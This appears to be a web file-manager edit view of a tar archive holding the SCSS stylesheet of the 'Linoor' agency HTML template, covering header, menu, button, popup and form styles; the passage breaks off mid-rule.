File manager - Edit - /home/hockeyalleppey/public_html/js/css.tar
Back
style.scss 0000644 00001516673 14704434233 0006630 0 ustar 00 /* Linoor - DIgital Agency HTML Template */ /*-------------------------------------------------------------- >>> TABLE OF CONTENTS: ---------------------------------------------------------------- 1. Fonts 2. Reset 3. Global Settings 4. Scroll To Top style 5. Main Header style / Header Style One 6. Sticky Header 7. Search Popup 8. Mobile Menu 9. Lazy Load Settings 10. Banner Section 11. Section Title 12. Services Section 13. About Section 14. Live Section 15. We DO Section 16. Gallery Section 17. Fun Facts Section 18. We DO Section 19. Team Section 20. Parallax Section 21. Sponsors Section 22. Agency Section 23. News Section 24. Call Section 25. Main Footer 26. Services Section 27. We DO Section 28. Gallery Section 29. Why Us Section 30. Testimonials Section 31. Parallax Section 32. We DO Section 33. Call Section 34. Call Section 35. Services Section 36. Discover Section 37. Parallax Section 38. We Work Section 39. Testimonials Section 40. We DO Section 41. Get Quote 42. Map Section 43. Sponsors Section 44. Page Banner 45. Faqs Section 46. Get Quote 47. Error Section 48. Contact Section 49. Sidebar Page Container 50. Comment Area 51. Leave Comments Form 52. Service Details 53. Service Details --------------------------------------------------------------*/ /* font-family: 'Teko', sans-serif; font-family: 'Barlow', sans-serif; font-family: 'Rubik', sans-serif; */ /*** ==================================================================== 2. Reset ==================================================================== ***/ * { margin: 0px; padding: 0px; border: none; outline: none; font-size: 100%; line-height: inherit; } /*** ==================================================================== 3. Global Settings ==================================================================== ***/ :root { --thm-font: "Teko", sans-serif; --thm-b-font: "Rubik", sans-serif; --thm-base: #ffaa17; --thm-base-rgb: 255, 170, 23; --thm-black: #222429; --thm-text: #686a6f; } .container { padding-left: 15px; padding-right: 15px; } .row { --bs-gutter-x: 30px; --bs-gutter-y: 0px; } body { font-size: 16px; font-family: var(--thm-b-font); color: var(--thm-text); line-height: 2.125em; font-weight: 400; background: #ffffff; -webkit-font-smoothing: antialiased; -moz-font-smoothing: antialiased; top: 0 !important; } a { text-decoration: none; cursor: pointer; color: var(--thm-base); } .theme_color { color: var(--thm-base); } a:hover, a:focus, a:visited, a:active, button:active { text-decoration: none; outline: none; } h1, h2, h3, h4, h5, h6 { position: relative; font-weight: 400; margin: 0px 0px 20px; background: none; line-height: 1.25em; font-family: var(--thm-font); color: var(--thm-black); } h1 { font-size: 140px; } h2 { font-size: 70px; } h3 { font-size: 60px; } h4 { font-size: 40px; } h5 { font-size: 30px; } h6 { font-size: 26px; } input, select, button { font-family: var(--thm-font); } textarea { overflow: hidden; resize: none; } button { outline: none !important; cursor: pointer; } p { line-height: 2.125em; margin: 0 0 20px; } .text { line-height: 2.125em; margin: 0 0; } ::-webkit-input-placeholder { color: inherit; } ::-moz-input-placeholder { color: inherit; } ::-ms-input-placeholder { color: inherit; } .page-wrapper { position: relative; margin: 0 auto; width: 100%; min-width: 300px; z-index: 9; overflow: hidden; } .page-wrapper__dark { background-color: #1c1e22; background-image: url(../images/background/home-portfolio-bg-1-1.png); } .page-wrapper__gradient { background: rgb(67, 47, 246); background: linear-gradient(100deg, #432ff6 0%, #f174e3 100%); } body.boxed-wrapper { background-color: #f4f5f8; } .page-wrapper.boxed-wrapper { max-width: 1410px; margin-left: auto; margin-right: auto; background-color: #ffffff; box-shadow: 0px 0px 100px 0px rgba(0, 0, 0, 0.08); } .page-wrapper__dark.boxed-wrapper { background-color: #1c1e22; } @media (max-width: 1440px) { .page-wrapper.boxed-wrapper { max-width: 90%; } } @media (max-width: 768px) { .page-wrapper.boxed-wrapper { max-width: 95%; } } .auto-container { position: static; max-width: 1200px; padding: 0px 15px; margin: 0 auto; } ul, li { list-style: none; padding: 0px; margin: 0px; } figure { margin-bottom: 0; } .theme-btn { display: inline-block; transition: all 0.3s ease; } .theme-btn i { position: relative; display: inline-block; font-size: 14px; margin-left: 3px; } .centered { text-align: center !important; } /*Btn Style One*/ .btn-style-one { position: relative; display: inline-block; text-align: center; text-transform: uppercase; letter-spacing: 0.05em; background: var(--thm-base); color: var(--thm-black); border-radius: 5px; overflow: hidden; font-family: var(--thm-font); transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .btn-style-one .btn-title { position: relative; display: block; font-size: 18px; line-height: 30px; font-weight: 400; letter-spacing: 0.1em; padding: 19px 50px 16px; z-index: 1; } .btn-style-one:hover { background: var(--thm-base); color: #ffffff; } .btn-style-one .btn-curve { position: absolute; right: -15px; top: 0; width: 26px; height: 100%; background: var(--thm-black); opacity: 0.2; z-index: 0; transform: skewX(-22deg); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .btn-style-one:hover .btn-curve { opacity: 1; right: 0; width: 100%; transform: skewX(0deg); } /*Btn Style Two*/ .btn-style-two { position: relative; display: inline-block; text-align: center; text-transform: uppercase; letter-spacing: 0.05em; background: var(--thm-black); color: #ffffff; border-radius: 5px; overflow: hidden; font-family: var(--thm-font); transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .btn-style-two .btn-title { position: relative; display: block; font-size: 18px; line-height: 30px; font-weight: 400; padding: 19px 50px 16px; z-index: 1; letter-spacing: 0.1em; transition: 0.5s; } .btn-style-two:hover { color: var(--thm-black); } .btn-style-two .btn-curve { position: absolute; right: -15px; top: 0; width: 26px; height: 100%; background: #ffffff; opacity: 0.2; z-index: 0; transform: skewX(-22deg); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .btn-style-two:hover .btn-curve { opacity: 1; right: 0; width: 100%; transform: skewX(0deg); } .btn-style-three { background-color: var(--thm-base); color: #fff; font-size: 16px; font-weight: bold; padding: 22.5px 40px; font-family: var(--thm-font); display: inline-flex; align-items: center; line-height: 1; } .btn-style-three:hover { background-color: var(--thm-black); color: #fff; } .pull-right { float: right; } .pull-left { float: left; } .preloader { position: fixed; left: 0px; top: 0px; width: 100%; height: 100%; z-index: 999999; background-color: rgba(255, 255, 255, 1); background-color: #1c1e22; } .preloader__gradient { background: rgb(67, 47, 246); background: linear-gradient(100deg, rgba(67, 47, 246, 1) 0%, rgba(241, 116, 227, 1) 100%); } .preloader .icon { position: fixed; left: 0px; top: 0px; width: 100%; height: 100%; z-index: 5; background-color: rgba(0, 0, 0, 0); background-position: center center; background-repeat: no-repeat; background-image: url(../images/icons/preloader.png); transition: all 200ms ease; -webkit-animation-name: rotateMe; -webkit-animation-duration: 2s; -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: linear; -moz-animation-name: rotateMe; -moz-animation-duration: 2s; -moz-animation-iteration-count: infinite; -moz-animation-timing-function: linear; -ms-animation-name: rotateMe; -ms-animation-duration: 2s; -ms-animation-iteration-count: infinite; -ms-animation-timing-function: linear; animation-name: rotateMe; animation-duration: 2s; animation-iteration-count: infinite; animation-timing-function: linear; } .preloader__gradient .icon { background-image: url(../images/update-26-02-2021/preloader-white.png); } .page-loaded .preloader .icon { opacity: 0; } img { display: inline-block; max-width: 100%; height: auto; } .dropdown-toggle::after { display: none; } .fa { line-height: inherit; } /*** ==================================================================== 4. Scroll To Top style ==================================================================== ***/ .scroll-to-top { position: fixed; right: 20px; bottom: 20px; width: 44px; height: 44px; color: var(--thm-black); font-size: 14px; line-height: 44px; border-radius: 50%; text-align: center; z-index: 100; cursor: pointer; background: var(--thm-base); display: none; transition: all 300ms ease; } .scroll-to-top:hover { background: var(--thm-black); color: #ffffff; } /*** ==================================================================== 5. Main Header style / Header Style One ==================================================================== ***/ .main-header { position: absolute; left: 0; top: 0; display: block; width: 100%; z-index: 9999; background: none; } /*=== Header Main Box ===*/ .main-header .header-upper { position: fixed; display: block; left: 0; top: 0; width: 100%; background: none; border-bottom: 1px solid rgba(255, 255, 255, 0.1); z-index: 1; transition: all 300ms ease; } .boxed-wrapper .main-header .header-upper { max-width: 1410px; left: 50%; transform: translateX(-50%); } .fixed-header .header-upper { background: #171717; -ms-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); -o-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); } .header-style-two.fixed-header .header-upper { background: var(--thm-black); -ms-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); -o-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); } .main-header .header-upper .inner-container { position: relative; display: block; padding: 0px 60px; } .main-header .header-upper .logo-box { position: relative; float: left; padding: 40px 0px; margin-right: 50px; z-index: 7; } .main-header .header-upper .logo-box .logo { position: relative; display: block; } .main-header .header-upper .logo-box .logo img { position: relative; display: inline-block; max-width: 100%; max-height: 34px; z-index: 1; } .main-header .other-links { position: relative; float: right; z-index: 7; } .main-header .other-links .link-box { position: relative; float: left; padding: 34px 0px; } .main-header .other-links .link-box .link { position: relative; display: block; padding-top: 4px; text-transform: uppercase; letter-spacing: 0.05em; padding-left: 60px; color: #ffffff; } .header-style-two.fixed-header .other-links .link-box .link { color: #ffffff; } .main-header .other-links .link-box .link .icon { position: absolute; left: 0; top: 0; width: 44px; height: 42px; background: url(../images/icons/chat-icon.png) left center no-repeat; } .main-header .other-links .link-box .sub-text { position: relative; display: block; font-size: 14px; font-weight: 500; line-height: 18px; font-family: var(--thm-font); letter-spacing: 0.03em; } .main-header .other-links .link-box .number { position: relative; display: block; letter-spacing: 0.03em; font-size: 20px; font-weight: 400; line-height: 24px; font-family: var(--thm-font); } .main-header .other-links .link-box .number:hover { text-decoration: underline; } .main-header .other-links .call-us { position: relative; } .main-header .other-links .search-btn { position: relative; float: left; padding: 40px 0px; padding-right: 50px; margin-right: 50px; border-right: 1px solid rgba(255, 255, 255, 0.1); } .main-header .other-links .search-btn button { position: relative; display: block; padding: 0; margin: 0; background: none; line-height: 32px; color: #ffffff; cursor: pointer; } .main-header .other-links .search-btn button span { vertical-align: middle; } .main-header .nav-outer { position: absolute; left: 0; top: 0; float: left; text-align: center; width: 100%; z-index: 5; } .main-header .nav-outer .main-menu { position: relative; display: inline-block; vertical-align: middle; } @media (min-width: 992px) { .boxed-wrapper .main-header .nav-outer .main-menu { margin-right: 70px; } } .main-menu .navbar-collapse { padding: 0px; display: block !important; } .main-menu .navigation { position: relative; display: block; width: 100%; margin: 0px; font-family: var(--thm-font); } .main-menu .navigation>li { position: relative; float: left; padding: 31px 0px; margin-right: 40px; transition: all 300ms ease; } .main-menu .navigation>li:last-child { margin-right: 0px; } .main-menu .navigation>li:last-child:after { display: none; } .main-menu .navigation>li>a { position: relative; display: block; text-align: center; font-size: 20px; line-height: 30px; font-weight: 400; text-transform: uppercase; letter-spacing: 0.03em; color: #ffffff; padding: 12px 0px; opacity: 1; transition: all 300ms ease; } .main-menu .navigation li>a { display: flex !important; align-items: center; justify-content: space-between; } .main-menu .navigation li>a>span { background-color: var(--thm-base); color: #fff; font-size: 13px; text-transform: uppercase; border-radius: 5px; display: flex; justify-content: center; align-items: center; text-align: center; width: 40px; top: -3px; position: relative; } .main-menu .navigation>li:hover>a, .main-menu .navigation>li.current>a { color: #ffffff; } .header-style-two .main-menu .navigation>li>a, .header-style-two .main-menu .navigation>li:hover>a { color: var(--thm-black); } .header-style-two .main-menu .navigation>li.current>a, .header-style-two.fixed-header .main-menu .navigation>li>a, .header-style-two.fixed-header .main-menu .navigation>li>a:hover { color: #fff; } .header-style-two.fixed-header .main-menu .navigation>li.current>a { color: var(--thm-base); } .main-menu .navigation>li>a:before { content: ""; position: absolute; left: 0; bottom: 7px; width: 100%; border-bottom: 2px solid var(--thm-base); transform: scaleX(0); transition: all 500ms ease; } .header-style-two .main-menu .navigation>li>a:before { border-bottom-color: #fff; } .header-style-two.fixed-header .main-menu .navigation>li>a:before { border-bottom-color: var(--thm-base); } .main-menu .navigation>li:hover>a:before, .main-menu .navigation>li.current>a:before { transform: scale(1); } .sticky-header .main-menu .navigation>li.dropdown { padding-right: 0px; } .main-menu .navigation>li>ul { position: absolute; left: 0px; top: 100%; width: 220px; z-index: 100; display: none; background: #ffffff; padding: 20px 0px 15px; border-radius: 5px; transform: translateY(20px); transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; -ms-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); -o-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); } .main-menu .navigation>li>ul.from-right { left: auto; right: 0px; } .main-menu .navigation>li>ul>li { position: relative; padding: 0px 25px; width: 100%; margin-bottom: 5px; } .main-menu .navigation>li>ul>li>a { position: relative; display: block; padding: 5px 0px; line-height: 24px; font-weight: 400; font-size: 20px; color: #171b27; letter-spacing: 0.03em; text-align: left; text-transform: uppercase; transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; } .main-menu .navigation>li>ul>li:hover>a { color: var(--thm-base); } .main-menu .navigation>li>ul>li>ul { position: absolute; left: 100%; top: 0; width: 220px; z-index: 100; display: none; background: #ffffff; padding: 20px 0px 15px; border-radius: 5px; transform: translateY(20px); transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; -ms-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); -o-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); } .main-menu .navigation>li>ul>li>ul>li { position: relative; padding: 0px 25px; width: 100%; margin-bottom: 5px; } .main-menu .navigation>li>ul>li>ul>li>a { position: relative; display: block; padding: 5px 0px; line-height: 24px; font-weight: 400; font-size: 20px; color: #171b27; text-transform: uppercase; letter-spacing: 0.03em; text-align: left; transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; } .main-menu .navigation>li>ul>li>ul>li>a:hover { color: var(--thm-base); } .main-menu .navigation>li>ul>li.dropdown>a:after { font-family: "Font Awesome 5 Free"; content: "\f105"; position: absolute; right: 0px; top: 7px; display: block; line-height: 24px; font-size: 16px; font-weight: 900; z-index: 5; display: none; } .main-menu .navigation>li.dropdown:hover>ul { visibility: visible; opacity: 1; transform: translateY(0px); transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 500ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; } .main-menu .navigation li>ul>li.dropdown:hover>ul { visibility: visible; opacity: 1; transform: translateY(0px); transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 500ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; } .main-menu .navigation li.dropdown .dropdown-btn { position: absolute; right: 10px; top: 8px; width: 34px; height: 30px; border: 1px solid #ffffff; text-align: center; font-size: 16px; line-height: 26px; color: #ffffff; cursor: pointer; z-index: 5; display: none; } /* header style two */ .header-style-two.fixed-header .header-upper .logo-box .logo .stricked-logo, .header-style-two .header-upper .logo-box .logo .main-logo { display: flex; } .header-style-two.fixed-header .header-upper .logo-box .logo .main-logo, .header-style-two .header-upper .logo-box .logo .stricked-logo { display: none; } /* header style four */ .header-style-four .header-upper { background-color: #fff; } .header-style-four .other-links .search-btn { border-color: #e9ebee; } .header-style-four .main-header .header-upper { border-bottom: 0; } .header-style-four .main-menu .navigation>li>a { color: #727479; } .header-style-four .other-links .link-box .number, .header-style-four .main-menu .navigation>li:hover>a, .header-style-four .main-menu .navigation>li.current>a { color: var(--thm-black); } .header-style-four .other-links .search-btn button { color: var(--thm-black); } .header-style-four .other-links .link-box .link .icon { background-image: url(../images/icons/chat-icon-dark.png); } .header-style-four .other-links .link-box .sub-text { color: #727479; } /* header style five */ .header-style-five .header-upper { background-color: rgba(0, 0, 0, 0); } .fixed-header.header-style-five .header-upper { background-color: #fff; } .header-style-five .header-upper .inner-container { max-width: 1200px; padding-left: 15px; padding-right: 15px; margin-left: auto; margin-right: auto; } .header-style-five .nav-outer { text-align: right; } /* header style six */ .header-style-six .header-upper { background-color: rgba(0, 0, 0, 0); } .fixed-header.header-style-six .header-upper { background-color: var(--thm-black); } .header-style-six .nav-outer { display: none; } .header-style-six .header-upper .inner-container { display: flex; justify-content: space-between; align-items: center; } .header-style-six .header-upper .right-menu { margin-left: auto; display: flex; align-items: center; } .header-style-six .header-upper .right-menu .search-btn button { background-color: rgba(0, 0, 0, 0); padding: 0; width: auto; font-size: 22px; color: #ffffff; } .header-style-six .header-upper .right-menu .mobile-nav-toggler { cursor: pointer; margin-left: 30px; } .header-style-six .header-upper .right-menu .mobile-nav-toggler:hover span { width: 28px !important; } .header-style-six .header-upper .right-menu .mobile-nav-toggler .bar { width: 28px; height: 1px; background-color: #fff; display: block; transition: all 500ms ease; } .header-style-six .header-upper .right-menu .mobile-nav-toggler .bar:nth-child(2) { width: 23px; } .header-style-six .header-upper .right-menu .mobile-nav-toggler .bar:nth-child(3) { width: 18px; } .header-style-six .header-upper .right-menu .mobile-nav-toggler .bar+.bar { margin-top: 7px; } .header-style-six-no-border .header-upper { border-bottom: 0; } /* header style seven */ .header-style-seven { position: absolute; top: 0; left: 0; width: 100%; z-index: 100%; } .header-style-seven .header-upper { margin-top: 44px; border-color: rgba(255, 255, 255, 0.06); } .header-style-seven .header-upper .auto-container { display: flex; align-items: center; } .header-style-seven.fixed-header .header-upper { margin-top: 0; } .header-style-seven .nav-outer { position: relative; top: auto; left: auto; text-align: right; display: flex; justify-content: flex-end; } .header-style-seven .main-menu .navigation>li>a { font-size: 18px; text-transform: capitalize; font-weight: 400; color: #fff; letter-spacing: 0; } .header-style-seven .main-menu .navigation>li>ul>li>a { font-size: 16px; font-weight: 500; text-transform: capitalize; letter-spacing: 0; } /* topbar */ .header-style-seven .topbar-four { background-color: #18212e; padding-top: 4.5px; padding-bottom: 4.5px; } .header-style-seven .topbar-four .auto-container { display: flex; align-items: center; justify-content: space-between; } .header-style-seven .topbar-four .right-content { display: flex; align-items: center; } .header-style-seven .topbar-four p { margin: 0; font-size: 14px; font-weight: 400; color: #959ca6; } .header-style-seven .topbar-four .phone { display: flex; align-items: center; margin-right: 40px; } .header-style-seven .topbar-four .phone span { font-size: 14px; color: var(--thm-base); margin-right: 10px; } .header-style-seven .topbar-four .phone a { color: #fff; font-size: 14px; font-weight: 500; } .header-style-seven .social-links { display: flex; align-items: center; } .header-style-seven .social-links li+li { margin-left: 30px; } .header-style-seven .social-links a { font-size: 14px; color: #959ca6; transition: all 500ms ease; } .header-style-seven .social-links a:hover { color: var(--thm-base); } .header-style-seven .main-menu .navigation li>a>span { top: 0; } /* cart btn */ .main-header .other-links { display: flex; align-items: center; } .main-header .cart-btn { font-size: 18px; color: #fff; margin-right: 30px; } .main-header .cart-btn a { color: inherit; } .header-style-eight .header-upper { border-bottom: 1px solid #e9ebee; } .header-style-eight .main-menu .navigation>li>a { font-size: 20px; font-weight: 500; color: var(--thm-text); text-transform: lowercase; } .header-style-eight .nav-outer { position: relative; left: auto; top: auto; float: none; text-align: right; } .header-style-eight .main-menu .navigation>li>a::before { bottom: -32px; } .header-style-eight .main-menu .navigation>li { padding-top: 33px; padding-bottom: 33px; } .header-style-eight .main-menu .navigation>li>ul { border-radius: 0; } .header-style-eight .main-menu .navigation>li>ul>li>a { text-transform: capitalize; font-size: 16px; font-weight: 500; color: var(--thm-text); } .header-style-eight .main-menu .navigation>li>ul>li>a:hover { color: var(--thm-black); } .header-style-eight .main-menu .navigation li>a>span { font-size: 12px; padding-left: 8px; padding-right: 8px; } .header-style-eight .auto-container { width: 100%; } .header-style-eight .header-upper .logo-box { padding: 20px 0; } @media (min-width: 992px) { .header-style-eight .header-upper .logo-box { padding: 40px 0; } } .header-style-eight .nav-outer .mobile-nav-toggler { margin-top: 18px; } @media (min-width: 992px) { .header-style-eight .nav-outer .mobile-nav-toggler { margin-top: 40px; } } .fixed-header.header-style-eight .header-upper { background-color: #fff; border-bottom: 0; } .header-style-nine { z-index: 991; position: relative; top: auto; left: auto; display: block; width: 100%; } .header-style-nine__inner { padding-top: 32px; padding-bottom: 32px; padding-left: 30px; padding-right: 30px; background-color: var(--thm-gray); display: flex; align-items: center; } @media (min-width: 992px) { .header-style-nine { width: 100px; height: 100vh; overflow: hidden; position: fixed; top: 0; left: 0; } .header-style-nine__inner { flex-direction: column; justify-content: flex-start; align-items: center; height: 100%; overflow-y: auto; padding-left: 0; padding-right: 0; padding-top: 40px; padding-bottom: 60px; } } .header-style-nine .mobile-nav-toggler { width: 28px; display: flex; flex-direction: column; align-items: center; cursor: pointer; justify-content: center; display: block !important; } .header-style-nine .nav-outer .main-menu { display: none; } .header-style-nine .mobile-nav-toggler span { background-color: var(--thm-black); height: 1px; width: 28px; display: block; } .header-style-nine .mobile-nav-toggler span:nth-child(2) { width: 23px; margin-top: 7px; margin-bottom: 7px; } .header-style-nine .mobile-nav-toggler span:nth-child(3) { width: 18px; } .header-style-nine .nav-outer { position: relative; left: auto; top: auto; float: none; text-align: left; width: auto; z-index: 5; } .header-style-nine .nav-outer .mobile-nav-toggler { position: relative; float: none; font-size: 30px; line-height: 40px; cursor: pointer; margin-left: 0px; color: var(--thm-base); margin: 0px 0px 0px; margin-left: 30px; } @media (min-width: 992px) { .header-style-nine .nav-outer { margin-top: auto; } .header-style-nine .nav-outer .mobile-nav-toggler { margin-left: 0; } } .header-style-nine__search-btn__outer, .header-style-nine .search-btn { cursor: pointer; margin-left: auto; margin-right: 0px; display: flex; align-items: center; } .header-style-nine__search-btn__outer { display: none; } @media (min-width: 576px) { .header-style-nine .search-btn { margin-right: 30px; } } @media (min-width: 992px) { .header-style-nine .search-btn { display: none; } .header-style-nine__search-btn__outer { display: flex; position: fixed; top: 0; right: 0; } } .header-style-nine .social-icons { display: none; align-items: center; } @media (min-width: 576px) { .header-style-nine .social-icons { display: flex; } } @media (min-width: 992px) { .header-style-nine .social-icons { flex-direction: column; justify-content: center; align-items: center; margin-top: auto; } } .header-style-nine .social-icons a { font-size: 16px; color: var(--thm-text); transition: all 500ms ease; } .header-style-nine .social-icons a:hover { color: var(--thm-base); } .header-style-nine .social-icons a+a { margin-left: 20px; } @media (min-width: 992px) { .header-style-nine .social-icons a+a { margin-left: 0; margin-top: 15px; } } .header-style-nine__search-btn__outer button, .header-style-nine .search-btn button { background-color: transparent; } .header-style-nine__search-btn__outer button span, .header-style-nine .search-btn button span { font-size: 22px; color: var(--thm-black); position: relative; display: block; margin-right: 20px; } .header-style-nine__search-btn__outer .text, .header-style-nine .search-btn .text { font-size: 16px; color: var(--thm-text); } .header-style-nine__search-btn__outer { padding: 33px 70px; z-index: 991; background-color: var(--thm-gray); } /*** ==================================================================== 6. Sticky Header ==================================================================== ***/ .sticky-header { position: fixed; visibility: hidden; opacity: 0; left: 0px; top: 0px; width: 100%; padding: 0px 0px; z-index: -1; background: #ffffff; border-bottom: 1px solid #f0f0f0; -ms-box-shadow: 0 0 15px rgba(0, 0, 0, 0.1); -o-box-shadow: 0 0 15px rgba(0, 0, 0, 0.1); box-shadow: 0 0 15px rgba(0, 0, 0, 0.1); transition: top 300ms ease; } .fixed-header .sticky-header { opacity: 1; z-index: 99901; visibility: visible; } .fixed-header .sticky-header .logo { padding: 10px 0px; } .sticky-header .main-menu .navigation>li { margin-left: 40px !important; padding: 0; margin-right: 0; background-color: transparent; } .sticky-header .main-menu .navigation>li.dropdown>a:after, .sticky-header .main-menu .navigation>li:before { display: none; } .sticky-header .main-menu .navigation>li>a { padding: 21px 0px !important; line-height: 30px; font-size: 16px; font-weight: 600; color: #25283a; text-transform: capitalize; transition: all 300ms ease; } .sticky-header .main-menu .navigation>li>ul>li>ul { left: auto; right: 100%; } .sticky-header .main-menu .navigation>li:hover>a, .sticky-header .main-menu .navigation>li.current>a, .sticky-header .main-menu .navigation>li.current-menu-item>a { opacity: 1; } /*** ==================================================================== 7. Search Popup ==================================================================== ***/ .search-popup { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 99999; transform: scale(1, 0); transform-origin: bottom center; transition: transform 0.7s ease; } .search-popup.active { transform-origin: top center; transform: scale(1, 1); } .search-popup__overlay { width: 100%; height: 100%; background-color: #000; position: absolute; top: 0; left: 0; right: 0; bottom: 0; z-index: 999; opacity: 0.7; cursor: none; } .search-popup__inner { position: absolute; width: 100%; height: 100%; display: flex; justify-content: center; align-items: center; } .search-popup__form { position: relative; z-index: 9991; width: 100%; padding: 15px; max-width: 600px; position: relative; } .search-popup__form input { background-color: transparent; border: none; outline: none; width: 100%; height: 60px; line-height: 30px; padding: 15px 30px; color: #272727; font-size: 14px; background-color: #ffffff; font-family: var(--thm-b-font); padding-left: 30px; } .search-popup__form button[type="submit"] { border: none; outline: none; width: 60px; height: 60px; line-height: 60px; color: #fff; background-color: var(--thm-base); cursor: pointer; position: absolute; top: 50%; right: 15px; transform: translateY(-50%); transition: all 0.4s ease; } .search-popup__form button[type="submit"]:hover { background-color: var(--thm-black); color: #ffffff; } .cursor { position: absolute; background-color: #fff; width: 6px; height: 6px; border-radius: 100%; z-index: 1; transition: 0.3s cubic-bezier(0.75, -1.27, 0.3, 2.33) transform, 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; pointer-events: none; z-index: 999999; transform: scale(1); visibility: hidden; } .cursor { visibility: visible; } .cursor.active { opacity: 0.5; transform: scale(0); } .cursor.hovered { opacity: 0.08; } .cursor-follower { position: absolute; background-color: RGBA(255, 255, 255, 0.3); width: 50px; height: 50px; border-radius: 100%; z-index: 1; transition: 0.6s cubic-bezier(0.75, -1.27, 0.3, 2.33) transform, 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; pointer-events: none; z-index: 999999; visibility: hidden; } .cursor-follower { visibility: visible; } .cursor-follower.active { opacity: 0.7; transform: scale(1); } .cursor-follower.hovered { opacity: 0.08; } .cursor-follower.close-cursor:before { position: absolute; content: ""; height: 25px; width: 2px; background: #fff; left: 48%; top: 12px; transform: rotate(-45deg); display: inline-block; } .cursor-follower.close-cursor:after { position: absolute; content: ""; height: 25px; width: 2px; background: #fff; right: 48%; top: 12px; transform: rotate(45deg); } /*** ==================================================================== 8. Mobile Menu ==================================================================== ***/ .nav-outer .mobile-nav-toggler { position: relative; float: right; font-size: 30px; line-height: 40px; cursor: pointer; margin-left: 0px; color: var(--thm-base); margin: 40px 0px 0px; display: none; } .mobile-nav-toggler .txt { position: relative; display: inline-block; vertical-align: top; padding-left: 10px; font-size: 16px; text-transform: capitalize; font-weight: 500; display: none; } /*** ==================================================================== 9. Lazy Load Settings ==================================================================== ***/ img.lazy-image { background: url(../images/icons/image-bg.svg) center center no-repeat; } img.lazy-image.loaded { background-image: none; } .owl-theme img.lazy-image.loaded { height: auto; opacity: 1; } /* Default Form Style */ .default-form { position: relative; } .default-form .row { margin: 0 -15px; } .default-form .form-group { position: relative; margin-bottom: 30px; } .default-form .field-inner { position: relative; display: block; } .default-form .field-inner .alt-icon { position: absolute; left: 20px; top: 50%; margin-top: -15px; line-height: 30px; font-size: 20px; color: #9b9fa6; z-index: 1; pointer-events: none; } .default-form .form-group .field-label { position: relative; display: block; color: #0f172b; font-size: 14px; line-height: 24px; text-transform: uppercase; letter-spacing: 2px; margin-bottom: 10px; } .default-form .form-group .e-label { position: relative; } .default-form .form-group input[type="text"], .default-form .form-group input[type="email"], .default-form .form-group input[type="password"], .default-form .form-group input[type="tel"], .default-form .form-group input[type="url"], .default-form .form-group input[type="file"], .default-form .form-group input[type="number"], .default-form .form-group textarea, .default-form .form-group select { position: relative; display: block; height: 70px; width: 100%; font-size: 14px; color: #686a6f; line-height: 40px; font-weight: 400; padding: 14px 30px; background-color: #f4f5f8; border: 1px solid #f4f5f8; border-radius: 7px; font-family: var(--thm-b-font); transition: all 300ms ease; } .default-form .form-group ::placeholder { opacity: 1; color: inherit; } .default-form .form-group textarea { height: 220px; resize: none; } .contact-form .form-group input[type="submit"], .contact-form .form-group button { display: inline-block; } .default-form .form-group input[type="text"]:focus, .default-form .form-group input[type="email"]:focus, .default-form .form-group input[type="password"]:focus, .default-form .form-group input[type="tel"]:focus, .default-form .form-group input[type="url"]:focus, .default-form .form-group input[type="file"]:focus, .default-form .form-group input[type="number"]:focus, .default-form .form-group textarea:focus, .default-form .form-group select:focus, .form-group .ui-selectmenu-button.ui-button:focus, .form-group .ui-selectmenu-button.ui-button:active { border-color: var(--thm-base); } .default-form ::-webkit-input-placeholder { color: #aaaaaa; } .default-form ::-moz-input-placeholder { color: #aaaaaa; } .default-form ::-ms-input-placeholder { color: #aaaaaa; } .default-form label.error { color: #ff0000; font-size: 14px; text-transform: capitalize; text-align: left; display: block; letter-spacing: 1px; padding-top: 7px; line-height: 24px; } /*Custom Select*/ .form-group .ui-selectmenu-button.ui-button { 